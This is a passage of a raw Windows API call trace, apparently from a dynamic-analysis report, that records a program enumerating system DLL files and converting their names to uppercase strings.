lpWideCharStr="CREDSSP.DLL", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0180.706] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CREDSSP.DLL", cchWideChar=11, lpMultiByteStr=0x49c288, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CREDSSP.DLL", lpUsedDefaultChar=0x0) returned 11 [0180.706] FindNextFileW (in: hFindFile=0x5cfd68, lpFindFileData=0x177f8fc | out: lpFindFileData=0x177f8fc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9d09d5fb, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x9d09d5fb, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x9d0c375b, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x29400, dwReserved0=0x5ce300, dwReserved1=0x0, cFileName="credui.dll", cAlternateFileName="")) returned 1 [0180.706] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CREDUI.DLL", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0180.706] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CREDUI.DLL", cchWideChar=10, lpMultiByteStr=0x49c120, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CREDUI.DLL", lpUsedDefaultChar=0x0) returned 10 [0180.706] FindNextFileW (in: hFindFile=0x5cfd68, lpFindFileData=0x177f8fc | out: lpFindFileData=0x177f8fc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x435139, ftCreationTime.dwHighDateTime=0x1ca03fe, ftLastAccessTime.dwLowDateTime=0x435139, ftLastAccessTime.dwHighDateTime=0x1ca03fe, ftLastWriteTime.dwLowDateTime=0x866dd550, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x2461b, dwReserved0=0x5ce300, dwReserved1=0x0, cFileName="crtdll.dll", cAlternateFileName="")) returned 1 [0180.706] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CRTDLL.DLL", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0180.706] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CRTDLL.DLL", cchWideChar=10, lpMultiByteStr=0x49c288, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CRTDLL.DLL", lpUsedDefaultChar=0x0) returned 10 [0180.706] FindNextFileW (in: hFindFile=0x5cfd68, lpFindFileData=0x177f8fc | out: lpFindFileData=0x177f8fc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x89b04660, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x89b04660, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x89b76a81, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x119c00, dwReserved0=0x5ce300, dwReserved1=0x0, cFileName="crypt32.dll", cAlternateFileName="")) returned 1 [0180.706] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CRYPT32.DLL", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0180.769] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CRYPT32.DLL", cchWideChar=11, lpMultiByteStr=0x49c120, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CRYPT32.DLL", lpUsedDefaultChar=0x0) returned 11 [0180.769] FindNextFileW (in: hFindFile=0x5cfd68, lpFindFileData=0x177f8fc | out: lpFindFileData=0x177f8fc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x54554db9, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x54554db9, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0x86704650, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x9000, dwReserved0=0x5ce300, dwReserved1=0x0, cFileName="cryptbase.dll", cAlternateFileName="")) returned 1 [0180.769] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CRYPTBASE.DLL", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0180.769] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CRYPTBASE.DLL", cchWideChar=13, lpMultiByteStr=0x49c288, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CRYPTBASE.DLL", lpUsedDefaultChar=0x0) returned 13 [0180.769] FindNextFileW (in: hFindFile=0x5cfd68, lpFindFileData=0x177f8fc | out: lpFindFileData=0x177f8fc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8dce1c44, ftCreationTime.dwHighDateTime=0x1ca0413, ftLastAccessTime.dwLowDateTime=0x8dce1c44, ftLastAccessTime.dwHighDateTime=0x1ca0413, ftLastWriteTime.dwLowDateTime=0x86729040, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x6000, dwReserved0=0x5ce300, dwReserved1=0x0, cFileName="cryptdlg.dll", cAlternateFileName="")) returned 1 [0180.769] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CRYPTDLG.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0180.769] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CRYPTDLG.DLL", cchWideChar=12, lpMultiByteStr=0x49c120, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CRYPTDLG.DLL", lpUsedDefaultChar=0x0) returned 12 [0180.769] FindNextFileW (in: hFindFile=0x5cfd68, lpFindFileData=0x177f8fc | out: lpFindFileData=0x177f8fc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x360536d1, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0x360536d1, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0x86729040, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe600, dwReserved0=0x5ce300, dwReserved1=0x0, cFileName="cryptdll.dll", cAlternateFileName="")) returned 1 [0180.769] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CRYPTDLL.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0180.769] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CRYPTDLL.DLL", cchWideChar=12, lpMultiByteStr=0x49c288, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CRYPTDLL.DLL", lpUsedDefaultChar=0x0) returned 12 [0180.770] FindNextFileW (in: hFindFile=0x5cfd68, lpFindFileData=0x177f8fc | out: lpFindFileData=0x177f8fc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3c473190, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0x3c473190, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0x86729040, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xd800, dwReserved0=0x5ce300, dwReserved1=0x0, cFileName="cryptext.dll", cAlternateFileName="")) returned 1 [0180.770] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CRYPTEXT.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0180.770] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CRYPTEXT.DLL", cchWideChar=12, lpMultiByteStr=0x49c120, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CRYPTEXT.DLL", lpUsedDefaultChar=0x0) returned 12 [0180.770] FindNextFileW (in: hFindFile=0x5cfd68, lpFindFileData=0x177f8fc | out: lpFindFileData=0x177f8fc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x382fd648, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0x382fd648, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0x86729040, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x19400, dwReserved0=0x5ce300, dwReserved1=0x0, cFileName="cryptnet.dll", cAlternateFileName="")) returned 1 [0180.770] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CRYPTNET.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0180.770] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CRYPTNET.DLL", cchWideChar=12, lpMultiByteStr=0x49c288, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CRYPTNET.DLL", lpUsedDefaultChar=0x0) returned 12 [0180.770] FindNextFileW (in: hFindFile=0x5cfd68, lpFindFileData=0x177f8fc | out: lpFindFileData=0x177f8fc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xde3e9ca5, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0xde3e9ca5, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0x86750140, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x13400, dwReserved0=0x5ce300, dwReserved1=0x0, cFileName="cryptsp.dll", cAlternateFileName="")) returned 1 [0180.770] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CRYPTSP.DLL", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0180.770] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CRYPTSP.DLL", cchWideChar=11, lpMultiByteStr=0x49c120, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CRYPTSP.DLL", lpUsedDefaultChar=0x0) returned 11 [0180.770] FindNextFileW (in: hFindFile=0x5cfd68, lpFindFileData=0x177f8fc | out: lpFindFileData=0x177f8fc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9d61e8e5, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x9d61e8e5, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x9d644a45, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x21400, dwReserved0=0x5ce300, dwReserved1=0x0, cFileName="cryptsvc.dll", cAlternateFileName="")) returned 1 [0180.770] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CRYPTSVC.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0180.770] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CRYPTSVC.DLL", cchWideChar=12, lpMultiByteStr=0x49c288, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CRYPTSVC.DLL", lpUsedDefaultChar=0x0) returned 12 [0180.770] FindNextFileW (in: hFindFile=0x5cfd68, lpFindFileData=0x177f8fc | out: lpFindFileData=0x177f8fc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9d513f43, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x9d513f43, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x9d513f43, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xf5000, dwReserved0=0x5ce300, dwReserved1=0x0, cFileName="cryptui.dll", cAlternateFileName="")) returned 1 [0180.770] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CRYPTUI.DLL", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0180.770] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CRYPTUI.DLL", cchWideChar=11, lpMultiByteStr=0x49c120, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CRYPTUI.DLL", lpUsedDefaultChar=0x0) returned 11 [0180.770] FindNextFileW (in: hFindFile=0x5cfd68, lpFindFileData=0x177f8fc | out: lpFindFileData=0x177f8fc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3f6e225d, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0x3f6e225d, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0x86750140, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x14e00, dwReserved0=0x5ce300, dwReserved1=0x0, cFileName="cryptxml.dll", cAlternateFileName="")) returned 1 [0180.770] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CRYPTXML.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0180.770] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CRYPTXML.DLL", cchWideChar=12, lpMultiByteStr=0x49c288, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CRYPTXML.DLL", lpUsedDefaultChar=0x0) returned 12 [0180.770] FindNextFileW (in: hFindFile=0x5cfd68, lpFindFileData=0x177f8fc | out: lpFindFileData=0x177f8fc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8b2f83ed, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8b2f83ed, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8b3446ad, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x8800, dwReserved0=0x5ce300, dwReserved1=0x0, cFileName="cscapi.dll", cAlternateFileName="")) returned 1 [0180.770] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CSCAPI.DLL", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0180.770] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CSCAPI.DLL", cchWideChar=10, lpMultiByteStr=0x49c120, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CSCAPI.DLL", lpUsedDefaultChar=0x0) returned 10 [0180.770] FindNextFileW (in: hFindFile=0x5cfd68, lpFindFileData=0x177f8fc | out: lpFindFileData=0x177f8fc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8b1eda4b, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8b1eda4b, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8b2f83ed, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x5a00, dwReserved0=0x5ce300, dwReserved1=0x0, cFileName="cscdll.dll", cAlternateFileName="")) returned 1 [0180.771] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CSCDLL.DLL", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0180.771] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CSCDLL.DLL", cchWideChar=10, lpMultiByteStr=0x49c288, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CSCDLL.DLL", lpUsedDefaultChar=0x0) returned 10 [0180.771] FindNextFileW (in: hFindFile=0x5cfd68, lpFindFileData=0x177f8fc | out: lpFindFileData=0x177f8fc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa28fc75d, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xa28fc75d, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xa29228be, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x22000, dwReserved0=0x5ce300, dwReserved1=0x0, cFileName="cscobj.dll", cAlternateFileName="")) returned 1 [0180.771] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CSCOBJ.DLL", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0180.771] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CSCOBJ.DLL", cchWideChar=10, lpMultiByteStr=0x49c120, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CSCOBJ.DLL", lpUsedDefaultChar=0x0) returned 10 [0180.771] FindNextFileW (in: hFindFile=0x5cfd68, lpFindFileData=0x177f8fc | out: lpFindFileData=0x177f8fc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x304641, ftCreationTime.dwHighDateTime=0x1ca03fe, ftLastAccessTime.dwLowDateTime=0x304641, ftLastAccessTime.dwHighDateTime=0x1ca03fe, ftLastWriteTime.dwLowDateTime=0x867e7720, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x6a00, dwReserved0=0x5ce300, dwReserved1=0x0, cFileName="ctl3d32.dll", cAlternateFileName="")) returned 1 [0180.771] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CTL3D32.DLL", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0180.771] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CTL3D32.DLL", cchWideChar=11, lpMultiByteStr=0x49c288, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CTL3D32.DLL", lpUsedDefaultChar=0x0) returned 11 [0180.771] FindNextFileW (in: hFindFile=0x5cfd68, lpFindFileData=0x177f8fc | out: lpFindFileData=0x177f8fc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd55d8064, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0xd55d8064, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0x828158e0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x36200, dwReserved0=0x5ce300, dwReserved1=0x0, cFileName="C_G18030.DLL", cAlternateFileName="")) returned 1 [0180.771] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C_G18030.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0180.771] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C_G18030.DLL", cchWideChar=12, lpMultiByteStr=0x49c120, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C_G18030.DLL", lpUsedDefaultChar=0x0) returned 12 [0180.771] FindNextFileW (in: hFindFile=0x5cfd68, lpFindFileData=0x177f8fc | out: lpFindFileData=0x177f8fc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd5e9f149, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0xd5e9f149, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0x8283c9e0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x2800, dwReserved0=0x5ce300, dwReserved1=0x0, cFileName="C_IS2022.DLL", cAlternateFileName="")) returned 1 [0180.771] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C_IS2022.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0180.771] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C_IS2022.DLL", cchWideChar=12, lpMultiByteStr=0x49c288, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C_IS2022.DLL", lpUsedDefaultChar=0x0) returned 12 [0180.771] FindNextFileW (in: hFindFile=0x5cfd68, lpFindFileData=0x177f8fc | out: lpFindFileData=0x177f8fc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x87bc6567, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x87bc6567, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x87bec6c7, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x2c00, dwReserved0=0x5ce300, dwReserved1=0x0, cFileName="C_ISCII.DLL", cAlternateFileName="")) returned 1 [0180.771] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C_ISCII.DLL", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0180.771] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C_ISCII.DLL", cchWideChar=11, lpMultiByteStr=0x49c120, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C_ISCII.DLL", lpUsedDefaultChar=0x0) returned 11 [0180.771] FindNextFileW (in: hFindFile=0x5cfd68, lpFindFileData=0x177f8fc | out: lpFindFileData=0x177f8fc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96dfa5a5, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x96dfa5a5, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x96f51207, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xb4a00, dwReserved0=0x5ce300, dwReserved1=0x0, cFileName="d2d1.dll", cAlternateFileName="")) returned 1 [0180.771] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="D2D1.DLL", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0180.771] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="D2D1.DLL", cchWideChar=8, lpMultiByteStr=0x49c288, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="D2D1.DLL", lpUsedDefaultChar=0x0) returned 8 [0180.771] FindNextFileW (in: hFindFile=0x5cfd68, lpFindFileData=0x177f8fc | out: lpFindFileData=0x177f8fc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9170ea75, ftCreationTime.dwHighDateTime=0x1ca0411, ftLastAccessTime.dwLowDateTime=0x9170ea75, ftLastAccessTime.dwHighDateTime=0x1ca0411, ftLastWriteTime.dwLowDateTime=0x86a957b0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xfb800, dwReserved0=0x5ce300, dwReserved1=0x0, cFileName="d3d10.dll", cAlternateFileName="")) returned 1 [0180.771] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="D3D10.DLL", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0180.772] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="D3D10.DLL", cchWideChar=9, lpMultiByteStr=0x49c120, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="D3D10.DLL", lpUsedDefaultChar=0x0) returned 9 [0180.772] FindNextFileW (in: hFindFile=0x5cfd68, lpFindFileData=0x177f8fc | out: lpFindFileData=0x177f8fc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9383bc36, ftCreationTime.dwHighDateTime=0x1ca0411, ftLastAccessTime.dwLowDateTime=0x9383bc36, ftLastAccessTime.dwHighDateTime=0x1ca0411, ftLastWriteTime.dwLowDateTime=0x86a957b0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x2e800, dwReserved0=0x5ce300, dwReserved1=0x0, cFileName="d3d10core.dll", cAlternateFileName="")) returned 1 [0180.772] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="D3D10CORE.DLL", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0180.772] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="D3D10CORE.DLL", cchWideChar=13, lpMultiByteStr=0x49c288, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="D3D10CORE.DLL", lpUsedDefaultChar=0x0) returned 13 [0180.772] FindNextFileW (in: hFindFile=0x5cfd68, lpFindFileData=0x177f8fc | out: lpFindFileData=0x177f8fc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9d8cc1aa, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x9d8cc1aa, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x9d8f230a, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x77a00, dwReserved0=0x5ce300, dwReserved1=0x0, cFileName="d3d10level9.dll", cAlternateFileName="")) returned 1 [0180.772] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="D3D10LEVEL9.DLL", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0180.772] WideCharToMultiByte 